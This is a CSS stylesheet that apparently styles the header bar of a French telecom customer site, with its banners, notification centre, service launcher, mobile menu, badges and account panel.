.band.bandeau-recollecte .message p.mobile-expanded { display: block; }

@media screen and (max-width: 48em) {
  .band.bandeau-recollecte .message p { display: none; }
}

.band.bandeau-recollecte .message ul { padding: 1em 0px 0px; display: flex; flex-direction: row; justify-content: flex-start; margin: 0px; }

@media (max-width: 48em) {
  .band.bandeau-recollecte .message ul { flex-direction: column; }
}

.band.bandeau-recollecte .message ul li { margin-left: 1.25em; margin-right: 1.25em; }

.band.bandeau-recollecte .buttons { display: flex; flex-direction: row; justify-content: flex-end; gap: 1.25em; }

@media screen and (max-width: 64em) {
  .band.bandeau-recollecte .buttons { flex-direction: column; align-items: center; }
}

.band.bandeau-recollecte .buttons button { width: 100%; box-sizing: border-box; padding: 18px 55px; vertical-align: middle; color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0); font-size: 18px; font-weight: bold; line-height: 20px; }

.band.bandeau-recollecte .buttons button.blacked { border: medium; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); }

.band.bandeau-recollecte .buttons button.raw { border: medium; padding: 14px 25px; text-decoration: underline; }

.band.bandeau-recollecte .overlay { overflow-y: scroll; position: fixed; width: 100%; height: 100%; inset: 0px; visibility: visible; opacity: 1; background-color: rgba(0, 0, 0, 0.5); z-index: 10; place-content: center; text-align: center; }

.band.bandeau-recollecte .overlay .pop-in { text-align: initial; position: relative; min-height: 50px; margin: 70px 10px; padding: 10px 20px; background-color: rgb(255, 255, 255); }

@media screen and (min-width: 48em) {
  .band.bandeau-recollecte .overlay .pop-in { display: inline-block; text-align: initial; max-width: 46.875em; line-height: 1.5; vertical-align: middle; }
}

.band.bandeau-recollecte .overlay .pop-in .close-popin { position: absolute; right: 0.625em; top: 0.625em; width: 2em; height: 2em; border: medium; background-color: rgba(0, 0, 0, 0); cursor: pointer; }

.band.bandeau-recollecte .overlay .pop-in .close-popin.icon::before { font-size: x-large; }

.band.bandeau-recollecte .overlay .pop-in h3 { font-size: 1.125em; }

.band.bandeau-recollecte .overlay .pop-in p { font-size: 0.875em; }

.band.bandeau-recollecte .overlay .pop-in p ul { padding-left: 1.28571em; margin-top: 0.357143em; }

.band.bandeau-recollecte .overlay .pop-in > .buttons { flex-direction: row-reverse; gap: 1.25em; }

@media screen and (max-width: 48em) {
  .band.bandeau-recollecte .overlay .pop-in > .buttons { flex-direction: column; }
}

.band.bandeau-recollecte .overlay .pop-in > .buttons button { font-size: 1em; width: 15.625em; }

@media screen and (max-width: 22.5em) {
  .band.bandeau-recollecte .overlay .pop-in > .buttons button { width: 100%; margin-top: 0px; }
}

.band.bandeau-recollecte .overlay .pop-in .pop-in-link { margin-bottom: 0.625em; display: block; color: rgb(0, 0, 0); text-decoration: underline; font-weight: 700; text-align: left; font-size: 0.875em; margin-top: 1em; }

@media (max-width: 48em) {
  .band.bandeau-recollecte .overlay .pop-in .pop-in-link { text-align: center; }
}

.band.bandeau-recollecte .overlay .pop-in .pop-in-link :hover { color: rgb(0, 0, 0); }

.band.bandeau-pays-francophones { position: sticky; z-index: 10000000; top: 0px; width: 100%; color: rgb(0, 0, 0); background-color: rgb(233, 247, 255); box-shadow: rgba(128, 128, 128, 0.27) 0px 0px 0.625em; display: flex; justify-content: space-between; align-items: center; gap: 1.25em; }

@media (max-width: 48em) {
  .band.bandeau-pays-francophones { flex-wrap: wrap; }
}

.band.bandeau-pays-francophones div.message { align-self: flex-start; margin-left: 2.5em; position: relative; display: flex; flex-direction: column; font-size: 0.875em; line-height: 1.4; }

.band.bandeau-pays-francophones div.message i { position: absolute; left: -1.25em; margin-right: 0.9375em; font-size: 2em; line-height: 0.9; color: rgb(0, 183, 255); }

.band.bandeau-pays-francophones div.message h2 { font-size: 1em; font-weight: bold; line-height: 1.5; margin-top: 0px; }

.band.bandeau-pays-francophones .buttons { display: flex; flex-direction: column; align-items: center; flex-basis: 40%; gap: 1.5625em; }

@media screen and (max-width: 48em) {
  .band.bandeau-pays-francophones .buttons { flex-basis: 100%; flex-grow: 1; justify-content: space-around; }
}

@media screen and (min-width: 60.0625em) {
  .band.bandeau-pays-francophones .buttons { flex-basis: 50%; flex-direction: row; justify-content: flex-end; }
}

.band.bandeau-pays-francophones .buttons button { box-sizing: border-box; padding: 0.875em 3em; vertical-align: middle; color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0); font-size: 1em; font-weight: bold; line-height: 1em; }

.band.bandeau-pays-francophones .buttons button.borded { border: 0.0625em solid rgb(0, 0, 0); }

@media (max-width: 22.5em) {
  .band.bandeau-pays-francophones .buttons button.borded { width: 100%; padding: 0.875em; white-space: normal !important; }
}

.band.bandeau-pays-francophones .buttons button.raw { position: relative; border: medium; margin-bottom: 0px; padding: 0.3125em 1.5625em; }

.band.bandeau-pays-francophones .buttons button.raw.icon::before { position: absolute; right: 0px; box-sizing: border-box; padding-left: 0.1875em; font-size: 1em; }

.band.bandeau-accessibility { background-color: rgb(51, 51, 51); position: absolute; left: -624.938em; padding-top: 0.5em; padding-bottom: 0.5em; }

.band.bandeau-accessibility:focus-within, .band.bandeau-accessibility.blocked { position: relative; left: 0px; z-index: 99980; }

.band.bandeau-accessibility a { font-size: 0.9em; font-weight: bold; line-height: 1em; padding: 0.25em 0.3125em; margin-right: 2.8125em; margin-left: -0.625em; color: rgb(255, 255, 255); }

.band.bandeau-accessibility a:focus { color: rgb(204, 204, 204); }

.band.bandeau-accessibility.sosh { align-content: center; background-color: rgb(0, 0, 0); }

.band.bandeau-accessibility.sosh a:active, .band.bandeau-accessibility.sosh a:hover, .band.bandeau-accessibility.sosh a:focus, .band.bandeau-accessibility.sosh a:focus, .band.bandeau-accessibility.sosh a:focus-visible { color: rgb(251, 205, 0); }

.band.navigateur { background: rgb(255, 250, 230); font-family: &quot;o-HelveticaNeue&quot;, Helvetica, Arial, sans-serif; position: relative; z-index: 99980; }

.band.navigateur .message { padding: 0px 0px 0.875em; display: flex; align-items: center; }

.band.navigateur .message .icon::before { font-size: 32px !important; color: rgb(255, 205, 11); }

.band.navigateur .message .text { color: rgb(51, 51, 51); font-size: 16px; font-weight: 700; margin-left: 15px; flex-grow: 1; flex-basis: 100%; }

.band.navigateur ul { display: flex; gap: 10px; flex-wrap: wrap; list-style-type: none; padding-left: 0px; }

.band.navigateur ul li { display: flex; padding-right: 100px; }

.band.navigateur ul li img { width: 45px; height: 45px; }

.band.navigateur ul li > div { display: flex; flex-direction: column; color: rgb(0, 0, 0); font-weight: bold; padding-left: 16px; }

.band.navigateur ul li > div .title { font-size: 18px; }

.band.navigateur ul li > div .editor { font-weight: normal; font-size: 14px; color: rgb(85, 85, 85); }

.band.navigateur ul li > div .link { text-decoration: none; color: inherit; font-weight: 700; font-size: 16px; display: flex; align-items: center; }

.band.navigateur ul li > div .link .link-icon { padding-left: 10px; display: flex; }

.band.navigateur .close-popin { color: rgb(0, 0, 0); font-size: 1.4em; float: right; margin-left: 1.25em; }

.band.ruban { display: flex; flex-direction: row; justify-content: space-between; position: relative; }

.band.ruban > * { display: flex; align-items: center; flex-direction: row; gap: 0.9375em; }

.band.ruban * { box-sizing: border-box; }

.band.ruban .page-title { font-size: 1.875em; line-height: 1.37; color: rgb(255, 255, 255); margin: 0.166667em 0px; font-weight: 700; display: flex; flex-grow: 1; flex-wrap: nowrap; }

@media (max-width: 64em) {
  .band.ruban .page-title { font-size: 1em; }
}

@media (max-width: 90em) {
  .band.ruban .page-title { font-size: 1.625em; }
}

.band.ruban .layer.universe-selector { position: relative; }

.band.ruban .layer.universe-selector button { padding-right: 30px; position: relative; white-space: nowrap; }

.band.ruban .layer.universe-selector button::before { transform: rotate(90deg); color: rgb(241, 110, 0); font-size: 10px; position: absolute; right: 10px; top: 0px; font-weight: 700; }

.band.ruban .layer.universe-selector button[aria-expanded=&quot;true&quot;]::before { transform: rotate(-90deg); }

.band.ruban .layer.universe-selector .popin { right: 0px; background: rgb(255, 255, 255); padding: 0px 30px 20px; border-top: 2px solid rgb(241, 110, 0); width: auto; transform: none; }

.band.ruban .layer.universe-selector .popin h1 { height: 3.125em; min-height: 3.125em !important; font-size: 16px; margin-bottom: 5px; white-space: nowrap; font-weight: bold; color: rgb(0, 0, 0); line-height: 70px; margin-top: 0px; }

.band.ruban .layer.universe-selector .popin ul { list-style: none; padding-left: 0px; margin: 0px; }

.band.ruban .layer.universe-selector .popin ul li { border-top: 1px solid rgb(221, 221, 221); }

.band.ruban .layer.universe-selector .popin ul li a { position: relative; color: rgb(0, 0, 0); font-size: 16px; text-decoration: none; display: block; padding: 14px 30px 14px 0px; box-sizing: border-box; outline-offset: 0.25rem; transition: outline-offset 0.15s ease-in-out; font-weight: normal; }

.band.ruban .layer.universe-selector .popin ul li a:hover { text-decoration: underline; }

.band.ruban .layer.universe-selector .popin ul li a::before { font-weight: bold; line-height: 22px; color: rgb(241, 110, 0); font-size: 14px; position: absolute; top: 0px; right: 0px; bottom: 0px; display: flex; align-items: center; margin-right: 0px; }

.band.ruban .layer.universe-selector .popin ul li:first-of-type { border-top: medium; }

.band.ruban .ruban-link { padding: 0px 0.3125em; align-items: center; justify-content: center; position: relative; min-height: 2em; min-width: 2.875em; display: flex; text-decoration: none; white-space: nowrap; outline: none; outline-offset: 7px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban .ruban-link::before { display: inline-block; text-decoration: none; }

.band.ruban .ruban-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 3px !important; }

@media screen and (max-width: 80em) {
  .band.ruban .ruban-link { padding: 0px; min-width: 2.625em; }
}

.band.ruban .ruban-link:focus span, .band.ruban .ruban-link:focus-within span { text-decoration: underline; }

.band.ruban .ruban-link:focus span.badge, .band.ruban .ruban-link:focus-within span.badge { text-decoration: none; }

.band.ruban.gp .ruban-link span { font-size: 0.875em; }

.band.ruban.gp .ruban-link::before { display: inline-block; font-size: 1.1875em; margin-right: 0.368421em; text-decoration: none; }

@media screen and (max-width: 64em) {
  .band.ruban.gp .ruban-link { display: none; }
}

.band.ruban.gp .ruban-link:focus span, .band.ruban.gp .ruban-link:focus-within span { text-decoration: underline; }

.band.ruban.gp .ruban-link:focus span.badge, .band.ruban.gp .ruban-link:focus-within span.badge { text-decoration: none; }

.band.ruban.sosh .ruban-link::before { font-size: 1.5em; }

@media (max-width: 64em) {
  .band.ruban.sosh .ruban-link { min-width: auto; }
  .band.ruban.sosh .ruban-link span { position: absolute; width: 0.0625em; height: 0.0625em; padding: 0px; margin: -0.0625em; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; }
  .band.ruban.sosh .ruban-link::before { margin-right: 0px; }
}

.band.ruban.sosh .ruban-link:hover, .band.ruban.sosh .ruban-link:focus-visible, .band.ruban.sosh .ruban-link:active { color: rgb(255, 255, 255); }

.band.ruban.sosh .ruban-link:hover span, .band.ruban.sosh .ruban-link:focus-visible span, .band.ruban.sosh .ruban-link:active span { text-decoration: underline; }

.band.ruban .service-launcher .popin { width: 25em; max-width: calc(-2em + 100vw); font-size: 1em; box-sizing: border-box; }

.band.ruban .service-launcher .popin ul { list-style: none; padding-left: 0px; margin: 0px; display: flex; gap: 0.9375em; flex-wrap: wrap; justify-content: space-around; }

.band.ruban .service-launcher .popin ul li { display: inline-block; vertical-align: top; margin: 0px; color: rgb(0, 0, 0); width: 6.875em; min-height: 6.875em; list-style-type: none; }

.band.ruban a.service-icon-container { display: flex; flex-direction: column; justify-content: space-between; position: relative; height: 100%; color: rgb(0, 0, 0); border: 0.125em solid rgba(0, 0, 0, 0); background-color: rgb(244, 244, 244); text-decoration: none; text-align: center; padding: 1.25em 0.625em 0.625em; font-size: 0.875em; font-weight: bold; }

.band.ruban a.service-icon-container:hover { background: rgb(221, 221, 221); }

.band.ruban a.service-icon-container i { width: 2.5em; height: 2.5em; position: relative; margin: 0px auto; display: block; right: 0px; }

.band.ruban a.service-icon-container i::before { font-size: 2.5em; line-height: 1em; }

.band.ruban a.service-icon-container span { height: 2.625em; justify-content: center; display: flex; align-items: baseline; }

.band.ruban .centre-notifications .popin { width: 27.5em; }

.band.ruban .centre-notifications .popin { max-height: 31.25em; }

@media screen and (max-width: 30em) {
  .band.ruban .centre-notifications .popin { max-height: calc(-50px + 100vh); overflow-y: auto; }
}

.band.ruban .centre-notifications .popin .loading { height: 200px; position: relative; min-height: 44.4px; }

@keyframes loading {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

.band.ruban .centre-notifications .popin .loading::after { content: &quot;&quot;; position: absolute; top: 50%; left: 50%; margin-top: -18.5px; margin-left: -18.5px; width: 37px; height: 37px; border-radius: 50%; border-width: 4px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgb(241, 110, 0) rgb(241, 110, 0); border-image: none; animation: 2s linear infinite loading; }

.band.ruban .centre-notifications .popin .error::before { box-sizing: border-box; padding: 10px 0px; display: inline-block; vertical-align: middle; width: 2em; font-size: 2em; color: rgb(38, 178, 255); }

.band.ruban .centre-notifications .popin .content { margin-left: -5px; margin-right: -5px; }

.band.ruban .centre-notifications .popin .content .filters { display: flex; gap: 1em; padding: 5px 0px 14px; margin: 0px; justify-content: center; }

@media screen and (max-width: 48em) {
  .band.ruban .centre-notifications .popin .content .filters { justify-content: flex-start; }
}

.band.ruban .centre-notifications .popin .content .filters button { min-width: 8em; font-family: o-HelveticaNeue, Arial, sans-serif; cursor: pointer; color: rgb(0, 0, 0); font-size: 14px; font-weight: normal; height: 2.28571em; line-height: 1; background: none; border-radius: 2.28571em; border: 1px solid rgb(204, 204, 204); padding: 5px 25px 7px; white-space: nowrap; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban .centre-notifications .popin .content .filters button[value=&quot;important&quot;] { min-width: 10em; }

@media screen and (max-width: 30em) {
  .band.ruban .centre-notifications .popin .content .filters button { padding-left: 15px; padding-right: 15px; min-width: 5em; }
  .band.ruban .centre-notifications .popin .content .filters button[value=&quot;important&quot;] { min-width: 8em; }
}

@media screen and (max-width: 30em) {
  .band.ruban .centre-notifications .popin .content .filters button { padding-left: 5px; padding-right: 5px; overflow: hidden; min-width: 0px; }
  .band.ruban .centre-notifications .popin .content .filters button[value=&quot;important&quot;] { min-width: 0px; }
}

@media screen and (max-width: 17.5em) {
  .band.ruban .centre-notifications .popin .content .filters button { font-size: 0.625em; }
}

.band.ruban .centre-notifications .popin .content .filters button[aria-expanded=&quot;true&quot;] { background-color: rgba(0, 0, 0, 0); border: 2px solid rgb(241, 110, 0); color: rgb(0, 0, 0); font-weight: 700; }

.band.ruban .centre-notifications .popin .content .filters button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.band.ruban .centre-notifications .popin .content .filters button:focus-visible { line-height: 1; background-color: rgba(0, 0, 0, 0); border: 1px solid rgb(85, 85, 85); color: rgb(85, 85, 85); font-weight: 700; }

.band.ruban .centre-notifications .popin .content .filters button:hover { background-color: rgba(0, 0, 0, 0); border: 1px solid rgb(85, 85, 85); color: rgb(85, 85, 85); font-weight: 700; }

.band.ruban .centre-notifications .popin .content .filters button:hover[aria-expanded=&quot;true&quot;] { border-width: 2px; }

.band.ruban .centre-notifications .popin .content ul { padding: 0px; margin: 0px; list-style: none; box-sizing: border-box; }

.band.ruban .centre-notifications .popin .content ul.notifications { max-height: 346px; margin: 0px; font-size: 16px; width: 100%; overflow: hidden auto; position: relative; }

@media screen and (max-width: 30em) {
  .band.ruban .centre-notifications .popin .content ul.notifications { max-height: 100000000px; }
}

.band.ruban .centre-notifications .popin .content ul.notifications li a { padding: 0.9375em 0px; width: 100%; display: flex; gap: 0.625em; font-size: 16px; align-items: flex-start; text-decoration: none; color: rgb(85, 85, 85); position: relative; outline: none; outline-offset: -7px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban .centre-notifications .popin .content ul.notifications li a:hover, .band.ruban .centre-notifications .popin .content ul.notifications li a:focus { color: rgb(85, 85, 85); text-decoration: underline; }

.band.ruban .centre-notifications .popin .content ul.notifications li a:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -11px !important; }

.band.ruban .centre-notifications .popin .content ul.notifications li a > span { line-height: 1.38; padding: 0px; vertical-align: middle; text-align: left; font-size: 0.875em; flex-grow: 1; }

.band.ruban .centre-notifications .popin .content ul.notifications li a > span > span.contrat { font-size: 0.875em; font-weight: normal; display: block; }

.band.ruban .centre-notifications .popin .content ul.notifications li a i::before { height: 1em; width: 1em; font-size: 1.7em; line-height: 1em; margin: 0.1875em; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object { vertical-align: top; flex-shrink: 0; flex-grow: 0; width: 1.6875em; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object > i.icon { margin: 0px; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .notif-object > i.icon::before { margin: 0px; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon { display: inline-block; width: 40px; box-shadow: none; border: medium; vertical-align: middle; text-align: center; flex-grow: 0; flex-shrink: 0; margin-left: auto; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon::before { display: inline-block; background-color: rgb(255, 255, 255); color: rgb(255, 255, 255); vertical-align: middle; font-size: 30px !important; width: 100%; text-align: center; }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.confirmation-tick::before { color: rgb(61, 227, 90); }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.info::before { color: rgb(38, 178, 255); }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.warning::before { color: rgb(255, 205, 11); }

.band.ruban .centre-notifications .popin .content ul.notifications li a .functional-icon.error::before { color: rgb(231, 0, 2); }

.band.ruban .centre-notifications .popin .content ul.notifications li.unread > a { font-weight: bold; color: rgb(0, 0, 0); }

.band.ruban .centre-notifications .popin .content .no-item { display: none; position: relative; margin: 5px 5px 0px; background: rgb(233, 247, 255); padding: 20px 20px 20px 55px; }

.band.ruban .centre-notifications .popin .content .no-item.icon::before { position: absolute; left: 15px; top: 15px; line-height: normal; color: rgb(38, 178, 255); font-size: 32px; }

.band.ruban .centre-notifications .popin .content .no-item p { margin: 0px; font-weight: bold; }

.band.ruban .centre-notifications .popin .content .no-item button { display: block; border: medium; background-color: rgba(0, 0, 0, 0); margin: 0px; padding: 5px 0px; font-weight: bold; font-size: 16px; text-align: left; font-family: o-HelveticaNeue, Arial, sans-serif; cursor: pointer; }

.band.ruban .centre-notifications .popin .content .no-item button > i::before { line-height: normal; color: rgb(0, 0, 0); text-decoration: none; font-weight: bold; }

.band.ruban .centre-notifications .popin .content ul > li { display: none; }

.band.ruban .centre-notifications .popin .content ul > li.hidden { display: none !important; }

.band.ruban .centre-notifications .popin .content.filter-all .no-item.all, .band.ruban .centre-notifications .popin .content.filter-all ul > li { display: block; }

.band.ruban .centre-notifications .popin .content.filter-all .no-item.all { margin-top: -5px; background-color: rgba(0, 0, 0, 0); }

.band.ruban .centre-notifications .popin .content.filter-unread .no-item.unread, .band.ruban .centre-notifications .popin .content.filter-unread ul > li.unread { display: block; }

.band.ruban .centre-notifications .popin .content.filter-important .no-item.important, .band.ruban .centre-notifications .popin .content.filter-important ul > li.important { display: block; }

.band.ruban.sosh .centre-notifications .panel-button:hover, .band.ruban.sosh .centre-notifications .panel-button:focus-visible, .band.ruban.sosh .centre-notifications .panel-button[aria-expanded=&quot;true&quot;] { color: rgb(204, 204, 204); }

.band.ruban.sosh .centre-notifications .panel-button .badge { background-color: rgb(222, 37, 84); box-shadow: none; transform: translate(0.25em, -0.0625em); }

.band.ruban.sosh .centre-notifications .popin { padding: 0px; }

.band.ruban.sosh .centre-notifications .popin::before { content: &quot;&quot;; position: absolute; left: 0px; right: 0px; top: 0px; height: 0.25em; background-color: rgb(222, 37, 84); }

.band.ruban.sosh .centre-notifications .popin h1 { padding: 0.9375em 1.875em 0px; }

.band.ruban.sosh .centre-notifications .popin .content { margin: 0px; }

.band.ruban.sosh .centre-notifications .popin .content .filters { padding-left: 1.25em; padding-right: 1.25em; }

.band.ruban.sosh .centre-notifications .popin .content .filters button { background-color: rgb(255, 255, 255); border-color: rgb(0, 0, 0); outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded=&quot;true&quot;] { color: rgb(255, 255, 255); background-color: rgb(222, 37, 84); border-color: rgb(222, 37, 84); }

.band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded=&quot;true&quot;]::before { display: inline-block; width: 10px; height: 6px; margin: 0px 8px 2px 0px; content: &quot;&quot;; border-style: solid; border-color: rgb(255, 255, 255); border-width: 0px 0px 2px 2px; border-image: none; transform: rotateZ(-45deg); }

.band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded=&quot;true&quot;]:focus, .band.ruban.sosh .centre-notifications .popin .content .filters button[aria-expanded=&quot;true&quot;]:hover { color: rgb(255, 255, 255); background-color: rgb(0, 0, 0); border-color: rgb(0, 0, 0); }

.band.ruban.sosh .centre-notifications .popin .content .filters button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; }

.band.ruban.sosh .centre-notifications .popin .content .filters button:focus-visible { outline-color: rgb(222, 37, 84) !important; outline-offset: -0.0625em !important; }

.band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar, .band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar-thumb { width: 0.25em; }

.band.ruban.sosh .centre-notifications .popin ul.notifications::-webkit-scrollbar-thumb { border-radius: 0.25em; background-color: rgb(204, 204, 204); }

.band.ruban.sosh .centre-notifications .popin ul.notifications li { padding: 0px 1.875em; }

.band.ruban.sosh .centre-notifications .popin ul.notifications li:hover, .band.ruban.sosh .centre-notifications .popin ul.notifications li:focus-visible, .band.ruban.sosh .centre-notifications .popin ul.notifications li:focus-within { background-color: rgb(238, 238, 238); }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a { border-top: 1px solid rgb(238, 238, 238); padding: 1.0625em 0px; text-decoration: none !important; }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a:focus-visible { outline: none !important; }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a object, .band.ruban.sosh .centre-notifications .popin ul.notifications li a .functional-icon { margin-top: auto; margin-bottom: auto; }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a > span { font-size: 1em; font-weight: bold; }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a > span .contrat { color: rgb(77, 77, 77); }

.band.ruban.sosh .centre-notifications .popin ul.notifications li a .functional-icon::before { background-color: rgba(0, 0, 0, 0); font-size: 1.25em !important; }

.band.ruban.sosh .centre-notifications:not(.keep-right)[data-state=&quot;active&quot;] .popin { transform: translateX(35%); }

.band.ruban a.mail.ruban-link { position: relative; min-width: 2.375em; display: inline-flex; align-items: center; justify-content: center; font-size: inherit; outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban a.mail.ruban-link::before { margin-right: 0px; }

.band.ruban a.mail.ruban-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; }

.band.ruban .mobile-burger-menu { border: 0px; padding: 0px; background: none; color: rgb(255, 255, 255); font-size: 0.75em; font-weight: 700; display: flex; align-items: center; cursor: pointer; outline: none; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban .mobile-burger-menu:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; }

.band.ruban .mobile-burger-menu.icon::before { font-size: 1.5em; }

.band.ruban.gp .mobile-burger-menu.icon::before { margin-right: 0.3125em; position: relative; top: -0.0625em; }

.band.ruban.sosh .mobile-burger-menu { outline: none; outline-offset: 9px !important; transition: outline-offset 0.15s ease-in-out !important; flex-direction: column; }

.band.ruban.sosh .mobile-burger-menu:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 5px !important; }

.band.ruban.sosh .mobile-burger-menu.icon::before { font-size: 1.875em; margin-right: 0px; }

.band.ruban.sosh .mobile-burger-menu:focus-visible { outline-color: rgb(255, 255, 255) !important; }

.band.ruban .capsule { display: flex; gap: 0.625em; background: rgb(26, 26, 26); padding: 0.1875em 1.25em; }

.band.ruban .capsule .vertical-separator { width: 0.0625em; background: rgb(85, 85, 85); font-size: 1em; display: block; height: 1.125em; margin: auto 0.625em; }

@media (max-width: 80em) {
  .band.ruban .capsule .vertical-separator { margin: auto 0px; }
}

.band.ruban .capsule .vertical-separator:first-child, .band.ruban .capsule .vertical-separator:last-child { display: none; }

.band.ruban .capsule span.badge { box-shadow: rgb(26, 26, 26) 0px 0px 0px 2px; }

@media (max-width: 80em) {
  .band.ruban .capsule { gap: 0.3125em; padding: 0.1875em 0.3125em; }
}

@media (max-width: 64em) {
  .band.ruban .capsule { background: none; padding: 0px; }
  .band.ruban .capsule .vertical-separator { display: none; }
}

.band.ruban .left, .band.ruban .right { gap: 1.5625em; }

.band.ruban.gp { gap: 1.25em; height: 6.25em; }

.band.ruban.gp.visible-sticky { position: fixed !important; z-index: 10000000; top: 0px; }

.band.ruban.gp.visible-sticky + .sticky-ghost { min-height: 3.125em; }

.band.ruban.gp.small { height: 3.125em; padding-top: 0.625em; padding-bottom: 0.625em; }

@media (max-width: 48em) {
  .band.ruban.gp { height: 3.125em; gap: 0px; }
}

@media (max-width: 64em) {
  .band.ruban.gp { height: 3.125em; }
}

.band.ruban.gp .mobile-search-toggle[aria-expanded=&quot;true&quot;] { color: rgb(255, 121, 0); }

.band.ruban.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); }

.band.ruban.sosh .logo:hover, .band.ruban.sosh .logo:focus-visible { opacity: 0.7; }

@media (max-width: 64em) {
  .band.ruban.sosh { height: 3.75em; }
  .band.ruban.sosh .left { flex-grow: 1; }
}

@media (max-width: 21.25em) {
  .band.ruban.sosh .left { flex-grow: 1; }
  .band.ruban.sosh .right { gap: 0.625em; }
}

.band.ruban.sosh .logo { outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban.sosh .logo:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; }

.band.ruban.sosh :focus-visible, .band.ruban.sosh .mobile-burger-menu:focus-visible, .band.ruban.sosh .logo:focus-visible { outline-color: rgb(255, 255, 255) !important; }

.band.ruban.sosh.is-navigation-open .logo { display: none; }

.band.ruban.sosh.is-navigation-open { z-index: 99890; }

span.badge { border-radius: 1em; font-weight: bold; line-height: 1.36em; height: 1.36em; min-width: 1.36em; font-size: 0.8em; padding: 0px 0.4em; text-align: center; text-decoration: none; display: inline-block; box-sizing: border-box; position: absolute; left: calc(100% - 1.25em); right: auto; top: 0.4375em; }

@media (max-width: 64em) {
  span.badge { top: 0px; }
}

.gp span.badge { box-shadow: rgb(0, 0, 0) 0px 0px 0px 0.166667em; background: rgb(231, 0, 2); color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); }

.sosh span.badge { border: medium; background: rgb(222, 37, 84); color: rgb(255, 255, 255); top: 0.375em; }

.identity-layer .panel-button { display: flex; align-items: center; height: 100%; padding-left: 0.3125em; padding-right: 0.3125em; }

.identity-layer .panel-button img { display: inline-block; width: 1.625em; height: 1.625em; font-size: inherit; }

.identity-layer .panel-button i.icon { display: flex; font-size: 1.125em; line-height: 1.125em; width: 1.94444em; height: 1.94444em; justify-content: center; align-items: center; }

.identity-layer .panel-button .display-labels { display: flex; flex-direction: column; margin-left: 0.1875em; text-align: left; }

.identity-layer .panel-button .display-labels .display-name, .identity-layer .panel-button .display-labels .static-label { display: inline-block; max-width: 11.5em; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; text-align: left; flex-shrink: 1; font-size: 14px; }

.identity-layer .panel-button .display-labels .display-name { font-weight: 700; }

.identity-layer .panel-button .display-labels .static-label { font-weight: 400; color: rgb(204, 204, 204); }

@media screen and (max-width: 64em) {
  .identity-layer .panel-button .display-labels { display: none; }
}

.sosh .identity-layer .panel-button { display: flex; align-items: center; padding: 0px 1.25em 0px 0.1875em; }

@media (max-width: 64em) {
  .sosh .identity-layer .panel-button { padding-right: 0.1875em; }
}

.sosh .identity-layer .panel-button img, .sosh .identity-layer .panel-button i.icon { font-size: 1.125em; line-height: 1.125em; width: 1.94444em; height: 1.94444em; justify-content: center; }

.sosh .identity-layer .panel-button i.icon { border-radius: 50%; background-color: rgb(0, 0, 0); display: flex; align-items: center; justify-content: center; color: rgb(255, 255, 255); }

.sosh .identity-layer .panel-button i.icon::before { height: 1em; line-height: 1.125em; vertical-align: top; }

.sosh .identity-layer .panel-button .display-labels { display: flex; flex-direction: column; margin-left: 0.555556em; }

.sosh .identity-layer .panel-button .display-labels .title { text-align: left; }

.sosh .identity-layer .panel-button .display-labels .subtitle { font-weight: 700; }

.sosh .identity-layer .panel-button .display-labels .static-label { display: none; }

@media (max-width: 64em) {
  .sosh .identity-layer .panel-button .display-labels { position: absolute; width: 0.0625em; height: 0.0625em; padding: 0px; margin: -0.0625em; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; }
}

.sosh .identity-layer .panel-button:active i.icon::before { color: rgb(255, 255, 255); }

.sosh .identity-layer[data-state=&quot;active&quot;] > .panel-button.has-arrow::after { left: 0.9375em; border-bottom-color: rgb(255, 255, 255); }

.sosh .identity-layer:hover .panel-button { background-color: rgba(255, 255, 255, 0.12); border-radius: 6.25em; }

.identity-panel { background: rgb(255, 255, 255); display: flex; flex-direction: column; color: rgb(0, 0, 0); min-width: 18.75em; gap: 0.9375em; }

.identity-panel > * { text-align: center; }

.identity-panel .user-details { display: flex; flex-direction: column; gap: 0.5em; padding: 0.3125em; }

